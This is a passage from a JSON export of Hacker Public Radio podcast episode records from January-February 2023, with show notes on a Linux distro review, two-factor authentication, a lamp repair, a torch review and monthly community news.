                                                            A slight drawback is that each time you ask for output (pull out a skewer) the data bit you asked for is no longer inside the computer's memory. So you will have to 'reboot' every five minutes (sound familiar?).

                                                            \n\n

                                                            And because of the way it works, eight bits does not mean 256 different cards.

                                                            \n\n

                                                            But it's fun and a young kid will delight in pulling out a skewer to make a card drop out. There is glue involved as well.

                                                            \n\n

                                                            Mike

                                                            \n","hostid":282,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"home-made computer, glue, fun, kids","version":0,"downloads":0,"valid":1}, {"id":3776,"date":"2023-01-23","title":"A linux distro review","duration":572,"summary":"A linux distro review","notes":"

                                                            Xerolinux

                                                            \n

                                                            https://xerolinux.xyz

                                                            \n

                                                            I installed XeroLinux on an older I mac I had, mostly due to 2\nfactors,

                                                            \n
                                                              \n
                                                            1. I had the hardware and
                                                            2. \n
                                                            3. A review I saw touted the MAC like interface from a modified KDE\nPlasma base.
                                                            4. \n
                                                            \n

                                                            As a Plasma user, how could I resist.

                                                            \n

                                                            I had previously installed Fedora 36 on the MAC and was receiving\nrandom hardware issues at boot time, I wanted to see if the issue\npersisted on and Arch base, and since I had never used Arch, this was a\nperfect test case.

                                                            \n

                                                            The install:

                                                            \n
                                                              \n
                                                            • Power on the MAC and (if you have a MAC keyboard) press and hold the\nOption key. This presented me with 2 options, boot into fedora, or to\nthe EFI partition on my USB with XeroLinux installer.
                                                            • \n
                                                            • Select the EFI USB device
                                                            • \n
                                                            • I was then presented with 4 menu options, XeroLinux installer, REFI\nboot options, MAC OS and reboot
                                                            • \n
                                                            • I chose to boot into the Installer
                                                            • \n
                                                            • In the GUI installer I was first given the options to install\nseveral fixes for virtual environments including Qemu and VMWare as well\nas an install option
                                                            • \n
                                                            • Next I was greeting (literally with a welcome screen proclaiming\n“Welcome Fellow Linux Nerds” )
                                                            • \n
                                                            \n

                                                            I am at home...lol

                                                            \n

                                                            After selecting language, time zone and Keyboard layouts, The disk\npartitioning options are presented (and in much less confusing verbage\nthan Fedora) and you are given choice of what swap partition type to\nuse, No Swap, Swap no hibernate swap with hibernate and swap to file\nalso a choice of file system, xfs, btrfs of ext4. I chose xfs the\ndefault, and since this is just a toy, not a high availability/high\ncapacity server, there is no need for BTRFS, and if I am happy with the\nstate of the system, I may well use it as a media server or Plex server\nand in that case I’ll need the larger file capacity of XFS Also\navailable are the file system encryption check box and a manual\npartition options

                                                            \n

                                                            Under the user account setup, it detected and offered to set the\nmachine name as MAcPro51, which is fine, it’ll help me id the device on\nmy network, VS a unique name I would then have to come up with but would\ninevitably also contain “MAC” The page also included check boxes to\nvalidate password strength (forcing strong passwords, an auto-login\noption and an option to “reuse user password as root password. Obviously\nfor SUDO purposes, this would not be recommended, but in my situation, I\ndid chose it and the strong passwords validation

                                                            \n

                                                            The next screen verifies all the selections and when next is clicked,\nA pop-up wants you to confirm again that you want to make the changes\nselected.

                                                            \n

                                                            (insert jeopardy music while the install happens)

                                                            \n

                                                            During the install, there is a button to observe what is actually\ngoing on in the background, partitioning, file copies, compiles,\netc
                                                            \nFirst boot and login
                                                            \nWell poop,I see a message in the boot screens referring to a hardware\nissue in CPU0 bank 8, there might be a hardware issue, it IS and older\nIntel MAC after all…

                                                            \n

                                                            Step one is, as always, update the system

                                                            \n

                                                            Picture 1
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n

                                                            Yes, that is a silhouette of the MST3K guys, I’m using a 720 P TV as\nmy monitor and watch movies when I’m in my home office. 121 packages are\nready fro update including Kernel 5.19.12

                                                            \n

                                                            (more jeopardy Music)

                                                            \n

                                                            next stop: install proprietary driver , open source drivers and\nnon-preinstalled apps All this went very smoothly, as though the distro\nmaintainers had put lots of work and thought into it. To say I’m\nimpressed is an understatement so far.

                                                            \n

                                                            Also there’s a handy dandy “Post install system config button, let’s\nsee what that does…

                                                            \n

                                                            Picture 2
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n

                                                            Man, all kinds of goodies to play with!!

                                                            \n

                                                            With such goodies as Yakuake, Avanti browser and KDE connect\npreinstaled, the only thing I really needed was a decent office suite,\nLibre office, of course…

                                                            \n

                                                            The XeroLinux “Hello” app is quite a setup, offering all the tools\nyou need to get up and running. With an app browser very similar to\nDiscover, used by Fedora, finding LibreOffice was easy, tick a check\nbox, a few dependencies needed confirmation, click install and poof,\ndone.

                                                            \n

                                                            I was able to seamlessly browse the internet and watched a full\nlength Jackie Chan movie on Netflix with no issues or buffering,\nLibre-office Calc opened in about 5 seconds, only marginally slower than\nmy regular I7 desktop PC running Fedora 35.

                                                            \n

                                                            The hardware

                                                            \n

                                                            2010 MACPRO5.1 with dual Intel Xeon 12 core processors running at\n2.5Ghz and 32 GB ram and an ATI Radeon HD 5770 I bought the MAC at a\nlocal college surplus auction with no hard drive, and installed a 500GB\n“spinning rust” hard drive I happened to have laying around.

                                                            \n

                                                            As older hardware, it’s still fairly quiet and crash free, so far.\nWith a modest up time of 5 days.

                                                            \n

                                                            Picture 3
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n

                                                            Picture 4
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n","hostid":365,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"xero linux, distro review, linux distro, ","version":0,"downloads":0,"valid":1}, {"id":3777,"date":"2023-01-24","title":"Running Haiku on Bhyve, the BSD Hypervisor","duration":531,"summary":"Claudio talks about installing and running Haiku R1/beta4 on Bhyve","notes":"\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"freebsd,haiku,beos,bhyve,vmbhyve,bsd,virtualization,hypervisor","version":0,"downloads":0,"valid":1}, {"id":3778,"date":"2023-01-25","title":"A Squirrel Beeing on Google Products and Google Security","duration":1223,"summary":"I made a 'beeing\" podcast about Google products, interoperability and their lousy security","notes":"

                                                            I have a discussion about my Android \"WIPING\" and how it affected my\n2 factor authorization with Google. Further I \"beein\" some more about\nAndroid not being able to authenticate against a known chromebook using\nGOOGLE SECURITY, what a \"beeing\" , \"beeing\"!!!!

                                                            \n

                                                            And I also cover Google's lousy support for chromebooks through\nAndroid, not sharing bandwidth via the cell communication channels. I\ncover easytether and ask why Google hasn't given chromebooks the same\nbandwidth access any Android phone would have??? WHY???

                                                            \n

                                                            Google is so piggish and stupid that Android and chromebooks are\nalmost as if they were separate companies who are in competition with\neach other instead of two products from the same company.

                                                            \n

                                                            I also cover the overbearing Android growth via QR codes and programs\nlike healio.

                                                            \n","hostid":377,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android, chromebooks, easytether, cellphones, bandwidth,beeing,sucks, QRcodes, healio","version":0,"downloads":0,"valid":1}, {"id":3779,"date":"2023-01-26","title":"Just Because You Can Do a Thing... ","duration":198,"summary":"Just because you can do a thing, does that mean you should?","notes":"

                                                            Hello Hacker Public Radio fans. This is Trey, and I am throwing this\nrecording together for several reasons:

                                                            \n
                                                              \n
                                                            1. The queue of shows is abysmally sparse. There are far more\nopenings for shows in the next few weeks than there are shows\nposted.

                                                            2. \n
                                                            3. This show is a pitiful excuse for why I haven't posted any shows\nrecently

                                                            4. \n
                                                            \n

                                                            If you like what you hear on Hacker Public Radio, please express your\ngratitude by recording your own show. It doesn't need to be long, or\nsound professional, or anything. Introduce yourself and share something\nyou find interesting.

                                                            \n

                                                            If you do not like any or all of what you hear on Hacker Public\nRadio, then it is the perfect opportunity for you to take a few minutes\nand record a short (or long) podcast of your own which \"fills the gap\"\nof what you might feel is needed on HPR.

                                                            \n

                                                            Alright. Enough preliminaries.

                                                            \n

                                                            A long time ago, at an undisclosed university far, far away, I took\nmy first class about Ethics. One of the things I remember most was the\nquestion of \"Just because you can do a thing, does that mean you should\ndo the thing?\"

                                                            \n

                                                            This was applied to many different scenarios - from nation states\nbuilding weapons of mass destruction, to authoring computer viruses, and\neven to saying what you are thinking at any given moment.

                                                            \n

                                                            It should quickly become obvious that you should not always do a\nthing simply because you can do it. And today, I would like to relate\nthat to DIY home improvement projects, especially as we work our way up\nin years.

                                                            \n

                                                            For regular listeners, you may recall my series \"Everything You\nAlways Wanted to Knox about PEX\" recorded and shared in May through July\nof 2022 (hpr3604, hpr3614, hpr3624 & hpr3634). In\nthis series, I recounted the process of replumbing my home using PEX\nwith helpful advice for anyone else who wants to try it. What I did not\nrealize at the time I was doing the project was the toll that doing so\nmuch work overhead, by myself, was taking on my old shoulder joints. It\nwas only one straw, but a rather significant one, which eventually broke\nthe camel's back. Or, in my case, resulted in several severe tears in my\nrotator cuff and bicep tendon.

                                                            \n

                                                            Therapy was marginally effective, and surgery was eventually required\nto put things back together the way they belonged. My effort to save\nmoney and do the project myself \"Because I could\" helped lead to\nsignificantly more expenses and more than a year of recovery.

                                                            \n

                                                            I am not sharing this for sympathy, but rather because I learned\nsomething important. Now that I am getting older, as I decide which\nprojects I should do myself and which to pay professionals to do, it is\nimportant to factor in the potential impact on my body, my mind and\nthose around me, even if all goes well.

                                                            \n

                                                            Just because you can do a thing does not necessarily mean you should\ndo a thing.

                                                            \n

                                                            Unless that \"Thing\" is recording a podcast for HPR. THAT is something\nyou can and should do.

                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"aging, diy, health","version":0,"downloads":0,"valid":1}, {"id":3780,"date":"2023-01-27","title":"Fediverse Update May 2022","duration":824,"summary":"This episode reports on some updates to the Fediverse that I ran across in May 2022","notes":"

                                                            One of the things I love about the Fediverse is that there is constant activity and development. As I mentioned in the previous report on Bookwyrm, it is not unusual to return to an app a few months later and see new features have been added that make it better. In this report I want to highlight three news stories that I think may be of interest.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Mastodon, Screen readers, WordPress","version":0,"downloads":0,"valid":1}, {"id":3781,"date":"2023-01-30","title":"The Joule Thief","duration":791,"summary":"Using the Joule Thief to suck energy out of flat batteries","notes":"

                                                            The Joule Thief is a delightfully simple circuit that can light an\nLED that requires 2V or more from a battery that is depleted to 1V or\nless. There are three components in addition to the battery and LED: an\nNPN transistor, a resistor and a double wound inductor. The key thing\nabout the inductor is that the same core shares two windings but in\nopposite directions.

                                                            \n

                                                            The explanation of how it works is simple enough, as long as you\nalready understand how inductors and transistors work. In other words,\nit isn't simple at all! In short, the double wound inductor and\ntransistor conspire to generate a transient high voltage spike and so\nturn LED on and off so rapidly that the human eye cannot perceive\nit.

                                                            \n

                                                            The idea of such a circuit is approaching its centenary but the name\nitself is only around 20 years old. I recommend you check out Big Clive's web site as it was\nhe who came up with the name \"Joule Thief\". I also recommend this video in\nwhich he constructs a circuit using some ninja-level soldering\nskills.

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"electronics","version":0,"downloads":0,"valid":1}, {"id":3782,"date":"2023-01-31","title":"Content Format article from Wikipedia","duration":300,"summary":"Wikipedia article on the various types of content formats","notes":"

                                                            Wikipedia\narticle

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"media, formats, encoding","version":0,"downloads":0,"valid":1}, {"id":3783,"date":"2023-02-01","title":"Accessibility, and Navigating the HPR Web Pages with a Screen Reader","duration":1304,"summary":"Mike puts the HPR Web Site to the test.","notes":"Accessibility,\nand Navigating the HPR Web Pages with a Screen Reader\n

                                                            Some time in the last year there has been some discussion on the HPR\nmailing list about some of the problems I was having, particularly with\nthe tags page, on the HPR site.

                                                            \n

                                                            Here is a show in which you can hear both me and my screen reader, as\nI navigate the HPR home page, and then the HPR tags page.

                                                            \n

                                                            Dave Morriss has made a nice job of fixing the issues I had, and made\nthe tags page a lot more friendly for blind and visually impaired\nusers.

                                                            \n

                                                            It's quite a long podcast, and it took a lot of editing. So most of\nthe polish wore off by the time I 'finished' it and decided enough was\nenough.

                                                            \n","hostid":282,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Accessibility, HPR, Screen Reader","version":0,"downloads":0,"valid":1}, {"id":3784,"date":"2023-02-02","title":"Two factor authentication without a phone number","duration":1107,"summary":"Diving into privacy-aware and offline methods to generate one time passwords","notes":"

                                                            Many services implement 2FA (Two factor authentication) by sending\nyou a OTP (One Time Password) using an SMS with a random code, but this\nforces you to give them your valuable phone number. What alternatives do\nexist?

                                                            \n

                                                            Let's dive into the HOTP,\nused by some banks years ago through a physical token and the recent TOTP,\nwhich both let you generate completely offline codes without\nusing any phone number or any other personal detail. They use the HMAC technique usually\nwith a SHA-1 one-way hashing function, but other hashing functions can\nbe used too.

                                                            \n

                                                            Useful links:

                                                            \n
                                                              \n
                                                            • a little visual explanation I found here
                                                            • \n
                                                            • Aegis\nandroid OTP generator
                                                            • \n
                                                            • use TOTP in KeepassXC for a desktop generator guide
                                                            • \n
                                                            \n

                                                            Let's keep Webauthn maybe for a\nfuture episode, I'm still exploring it and have to do more research.

                                                            \n","hostid":407,"series":74,"explicit":0,"license":"CC-BY-NC-SA","tags":"2FA, OTP, TOTP, HOTP, security","version":0,"downloads":0,"valid":1}, {"id":3785,"date":"2023-02-03","title":"Hacking Boba Bubble Tapioca Pearls Fail ","duration":3321,"summary":"Hacking Boba Bubble Tapioca Pearls Fail ","notes":"

                                                            Listen to me cook / fail / hack Boba Green Tea!

                                                            \n

                                                            Links

                                                            \n\n","hostid":36,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"cooking,hacking,fail","version":0,"downloads":0,"valid":1}, {"id":3786,"date":"2023-02-06","title":"HPR Community News for January 2023","duration":2881,"summary":"HPR Volunteers talk about shows released and comments posted in January 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n enistello.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3761Mon2023-01-02HPR Community News for December 2022HPR Volunteers
                                                            3762Tue2023-01-03Existence is painoperat0r
                                                            3763Wed2023-01-04The Baader-Meinhof PhenomenonMike Ray
                                                            3764Thu2023-01-05My text-focused journey into techenistello
                                                            3765Fri2023-01-06Fixing clock events in GBA pokemon cartridgesCeleste
                                                            3766Mon2023-01-09ACER Nitro 5 laptop reviewBookewyrmm
                                                            3767Tue2023-01-10LP article from WikipediaArcher72
                                                            3768Wed2023-01-11Jeep Ignition RepairStache_AF
                                                            3769Thu2023-01-12Crouching laptop, hidden server (part 0).Some Guy On The Internet
                                                            3770Fri2023-01-13TucsonAhuka
                                                            3771Mon2023-01-16How I eliminated pain naturallyPaul Quirk
                                                            3772Tue2023-01-17Adventures with a small solar panelAndrew Conway
                                                            3773Wed2023-01-18My Public Speaking RulesMike Ray
                                                            3774Thu2023-01-19Emergency Show posted in 2014. Chump Car ReportDavid Whitman
                                                            3775Fri2023-01-20Emergency Show posted in 2014. How to make a punch-card computerMike Ray
                                                            3776Mon2023-01-23A linux distro reviewBookewyrmm
                                                            3777Tue2023-01-24Running Haiku on Bhyve, the BSD HypervisorClaudio Miranda
                                                            3778Wed2023-01-25A Squirrel Beeing on Google Products and Google SecurityZen_Floater2
                                                            3779Thu2023-01-26Just Because You Can Do a Thing... Trey
                                                            3780Fri2023-01-27Fediverse Update May 2022Ahuka
                                                            3781Mon2023-01-30The Joule ThiefAndrew Conway
                                                            3782Tue2023-01-31Content Format article from WikipediaArcher72
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 27 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 8 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr1240\n(2013-05-03) \"Doomsday Rule\"\nby Charles in NJ.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nCharles in NJ on 2023-01-20:\n\"Doomsday Python Code\"

                                                              \n
                                                            • hpr3751\n(2022-12-19) \"Using Noisetorch\"\nby Deltaray.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2023-01-22:\n\"Wow this actually works\"

                                                              \n
                                                            • hpr3753\n(2022-12-21) \"Some thoughts on \"Numeronyms\"\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndnt on 2023-01-16:\n\"Pure obscurantism\"
                                                              • \n
                                                              • \nComment 2:\nDave Morriss on 2023-01-18:\n\"Thanks dnt\"

                                                              \n
                                                            • hpr3754\n(2022-12-22) \"GOD probably will use a Chromebook\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndnt on 2023-01-18:\n\"Trippy as hell\"

                                                              \n
                                                            • hpr3758\n(2022-12-28) \"First sysadmin job - war story\"\nby norrist.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nWindigo on 2023-01-12:\n\"What a \"whodunit\"!\"
                                                              • \n
                                                              • \nComment 2:\nbrian-in-ohio on 2023-01-25:\n\"love the show\"

                                                              \n
                                                            • hpr3759\n(2022-12-29) \"Chatting with dnt.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\none_of_spoons on 2023-01-28:\n\"RISC V emulators.\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr3762\n(2023-01-03) \"Existence is pain\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-01-03:\n\"Thanks for sharing.\"
                                                              • Comment 2:\none_of_spoons on 2023-01-28:\n\"Character entry devices.\"

                                                              \n
                                                            • hpr3763\n(2023-01-04) \"The Baader-Meinhof Phenomenon\"\nby Mike Ray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nViv on 2023-01-05:\n\"Meta Baader-Meinhof\"
                                                              • Comment 2:\nMike Ray on 2023-01-06:\n\"I rest my case\"

                                                              \n
                                                            • hpr3764\n(2023-01-05) \"My text-focused journey into tech\"\nby enistello.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2023-01-25:\n\"emacs rocks\"

                                                              \n
                                                            • hpr3766\n(2023-01-09) \"ACER Nitro 5 laptop review\"\nby Bookewyrmm.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2023-01-12:\n\"Good Review, but Still Avoiding Gaming Laptops\"
                                                              • Comment 2:\nbookeyrmm on 2023-01-13:\n\"reply to claudio\"

                                                              \n
                                                            • hpr3767\n(2023-01-10) \"LP article from Wikipedia\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCeleste on 2023-01-10:\n\"Riaa curve and italian youtuber video\"

                                                              \n
                                                            • hpr3768\n(2023-01-11) \"Jeep Ignition Repair\"\nby Stache_AF.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\none_of_spoons on 2023-01-28:\n\"Ear pieces.\"

                                                              \n
                                                            • hpr3771\n(2023-01-16) \"How I eliminated pain naturally\"\nby Paul Quirk.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2023-01-25:\n\"music\"

                                                              \n
                                                            • hpr3772\n(2023-01-17) \"Adventures with a small solar panel\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2023-01-25:\n\"good info\"

                                                              \n
                                                            • hpr3773\n(2023-01-18) \"My Public Speaking Rules\"\nby Mike Ray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmpardo on 2023-01-18:\n\"A \"must listen\" to all who aspire to speak to an audience\"
                                                              • Comment 2:\nTrey on 2023-01-18:\n\"Thanks for sharing.\"
                                                              • Comment 3:\none_of_spoons on 2023-01-19:\n\"Professional demeanour.\"
                                                              • Comment 4:\nMike Ray on 2023-01-20:\n\"Thanks very much to everybody. I listened back to this when it was published. I hope the Christmas b\"
                                                              • Comment 5:\nMike Ray on 2023-01-21:\n\"Messed up that last comment\"

                                                              \n
                                                            • hpr3776\n(2023-01-23) \"A linux distro review\"\nby Bookewyrmm.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2023-01-25:\n\"how to do it\"

                                                              \n
                                                            • hpr3778\n(2023-01-25) \"A Squirrel Beeing on Google Products and Google Security\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2023-01-25:\n\"2fa\"
                                                              • Comment 2:\nJohnnyLawrence on 2023-01-26:\n\"Whoafully misinformed\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-January/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Show transcripts

                                                            \n

                                                            Transcripts of audio have been generated for shows since December\n2022, using the Whisper tool.\nKen Fallon has been working on this project, and has also been\ntranscribing the older shows from hpr0001 to the present\nday. This part of the project is complete.

                                                            \n

                                                            The transcripts have been attached to each show on the HPR website,\nand are in the process of being added on archive.org.

                                                            \n\n

                                                            Older HPR shows on\narchive.org, phase 2

                                                            \n

                                                            This \"re-upload\" project\nis now ended. All shows from 871 to 2429 have been re-uploaded with all\naudio files and other assets.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3787,"date":"2023-02-07","title":"It shouldn't crackle like that","duration":584,"summary":"Rho`n describes fixing the wiring to a ceramic Christmas tree","notes":"\n

                                                            Synopsis

                                                            \n

                                                            The Friday before Christmas, my partner's mother called and asked if I had a short indoor extension cord she could borrow. When I arrived at her house, she showed me her display of ceramic Christmas trees for which she needed the extension cord. These decorations have two pieces. A base which holds a small light bulb, and then the tree which sits over the light and has translucent colored plastic 'Christmas lights' which are illuminated by the light bulb inside the tree. There were four ceramic trees of varying heights—from 14\" (~36 cm) to 6\" (~15 cm) tall. While helping to arrange each of the trees electrical cords and plugging them into the extension cable, one of the trees wouldn't stay lit. If you turned the base or moved the cord it would light back up, but then go out once you took pressure off the cord. I could also hear crackling at times when moving the cord—not a sound you want to hear in an electric ornament.

                                                            \n

                                                            After separating the pieces and turning over the base, I could see not only the sparks, but why it was sparking. At some point, one of wires had come lose from the light socket and was taped back in place with what looks like duct tape. The ornament was made in the 1950s. I'm not sure when the repair was made. It is an ornament that has been passed through the family over the years. The plastic which held the wire in place had failed over the years, and the tape was also failing from the electric sparks that would occur when the wire was moved around. You could see burn marks on the tape around the wire.

                                                            \n

                                                            At first I thought I may be able to fix the side with the bad wiring. Maybe solder the wire onto the socket to give it a good electrical connection, and then use electrical tape to cover the hole where the socket casing had failed, but in the process of taking the wire out and removing all the old duct tape, the socket's electrical contact fell apart. This was for the best, the whole socket needed replacing, but I wasn't sure I could find a replacement socket that would fit through the hole in the ceramic base.

                                                            \n

                                                            While doing my last minute Christmas shopping on Christmas Eve, I stopped at one of the big box hardware stores to browse the electrical section and see if I could find a replacement socket that might work. Of course I hadn't brought either the old socket or the light bulb, but I found a small rack with replacement sockets that looked like it might work. The candelabra style socket replacement looked like the correct size—for both the light bulb and the hole in the base of the ornament.

                                                            \n

                                                            Once I was home, I tested the fit of the light bulb, and the socket was the correct size. It was just a little to big for the hole in the base, but I was hoping I could just grind off some of the raised plastic lettering and maybe a little off the sides of the socket here and there to get it to fit in the base. I was leery of using my Dremel tool to make the hole bigger in the ceramic base. I didn't want it to crack or chip the finish. I ended up doing both. Grinding down some of the plastic on the replacement socket and grinding out the hole in the ceramic base.

                                                            \n

                                                            A bit of electrical tape wrapped around the new socket created a snug fit between the hole in the ornament's base and the socket. I then hot glued the socket to the inside of the base to provide extra stability. Next step was attaching the old cord to the new socket. The cord was in good shape except where it was connected to the old socket. I evened up the end of the cord, then stripped it, and then connected the cord to the new socket with wire nuts.

                                                            \n

                                                            After flipping over the base and screwing in the light bulb, I tested the repair. Success!

                                                            \n \n
                                                            \"Top
                                                            Top view of old light socket
                                                            \"Side
                                                            Side view of old light socket showing extent of damage where the cord was attached.
                                                            \"Original
                                                            Original cord after removing it from old light socket.
                                                            \"New
                                                            New candelabra style light socket with raised plastic lettering removed by Dremel.
                                                            \"Side
                                                            New socket showing more shaping done with the Dremel.
                                                            \"New
                                                            New wiring in tucked into base of ornament. Wire nuts used to connect old cord to new socket.
                                                            \"Top
                                                            New socket installed in base with the light bulb screwed in.
                                                            \"Lighted
                                                            Ceramic tree lit up after completed repair.
                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Christmas, electrical, safety","version":0,"downloads":0,"valid":1}, {"id":3788,"date":"2023-02-08","title":"Nitecore Tube torch","duration":397,"summary":"I have owned one of these for many years and find it very useful","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            This torch (aka flashlight) came up during the recording of\nthe Community News for May 2022. I have owned an example of this device\nsince 2016. It’s been extensively reviewed elsewhere but I thought I’d\nbriefly tell you about my experiences.

                                                            \n

                                                            Nitecore Tube (V1)

                                                            \n
                                                            \n\"My\n
                                                            My Nitecore Tube
                                                            \n
                                                            \n

                                                            I bought this from Amazon after seeing a video of it on the Big\nClive YouTube channel. It was under £10. This version is no longer\navailable but there is a version 2 for a similar price. I haven’t tried\nthis one.

                                                            \n

                                                            The Nitecore Tube is a small plastic-bodied torch with fittings for a\nkey ring. I have not been keen to keep it on my keyring for fear of\ndamage from the keys, so I keep it always in my shirt pocket.

                                                            \n

                                                            The torch is controlled through a rubber-like button on one side, and\nhas a micro USB port on the edge which is covered by a rubber cap.

                                                            \n

                                                            While charging, a blue LED can be seen inside the body of the torch,\nwhich turns off when the charging process is complete.

                                                            \n

                                                            The torch can operate at a number of brightness levels and has a\nlock mode:

                                                            \n
                                                              \n
                                                            • Single press - turns the low light level on and off
                                                            • \n
                                                            • Double press - turns on the permanent high level mode, a single\npress for off
                                                            • \n
                                                            • Single press and hold for more than 1 second - temporary high\nmode
                                                            • \n
                                                            • Press and hold when in low mode increases in brightness in\nsteps
                                                            • \n
                                                            • Press and hold for more than 5 seconds when in high mode will lock\nthe torch against accidental button presses. The light blinks to show\nit’s locked. Press and hold to return to normal.
                                                            • \n
                                                            \n

                                                            Usage

                                                            \n

                                                            I don’t use this torch a huge amount. The fact that it’s always in my\npocket means I have a source of quite bright light when I need one. The\nlower level light is useful for moving around in the dark or in a gloomy\nplace. The brighter level I tend to use to read labels on jars, bottles\nand other containers. For some reason, these labels are often designed\nwith minimal contrast (like a dull orange lettering on a purple\nbackground) which my eyes just can’t cope with. The Nitecore is my\nsaviour with this sort of stuff!

                                                            \n

                                                            I don’t charge it very often, but it is easy to do it with a phone\ncharger - I have several micro USB cables around, so it’s no\nproblem.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            This is a great little device. I have other torches for when I need a\nstronger, more broadly illuminating light source. I wouldn’t be carrying\nany of these around with me though. The Nitecore is small and compact\nenough that I can keep it on me all the time.

                                                            \n

                                                            If I lost this one, or it died, I’m pretty sure I’d get another!

                                                            \n

                                                            Links:

                                                            \n\n
                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"torch,flashlight,rechargeable,Lithium Ion","version":0,"downloads":0,"valid":1}, {"id":3789,"date":"2023-02-09","title":"Common lisp portable games including acl2 formal logic","duration":3220,"summary":"Describing exploratory libre common lisp portable games I am using acl2 formal methods in modules of","notes":"

                                                            Source I was looking through while talking WIP:
                                                            \ngopher://gopher.club/1/users/screwtape/car-game

                                                            \n\n","hostid":416,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"common-lisp,acl2,asdf3,formal-methods,game,programming","version":0,"downloads":0,"valid":1}, {"id":3790,"date":"2023-02-10","title":"Tucson, Part 2","duration":778,"summary":"We continue our month-long stay in Benson, a town just southeast of Tucson.","notes":"

                                                            We wrap up our stay in Tucson, Arizona and move over to Benson, Arizona, not far from Tucson. Here we will stay for a month. And we don't run out of things to do. This was one of our favorite stops of the trip. In this episode we visit an old west movie set, Saguaro National Park, and tour a copper mine.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, Arizona, Tucson","version":0,"downloads":0,"valid":1}, {"id":3791,"date":"2023-02-13","title":"My Hardware Problem - Keyboards","duration":1418,"summary":"I'm always looking for new computer hardware. This is about my keyboards","notes":"

                                                            I discuss my quest for the perfect keyboard for me.

                                                            \n\n

                                                            Links

                                                            \n\n\n

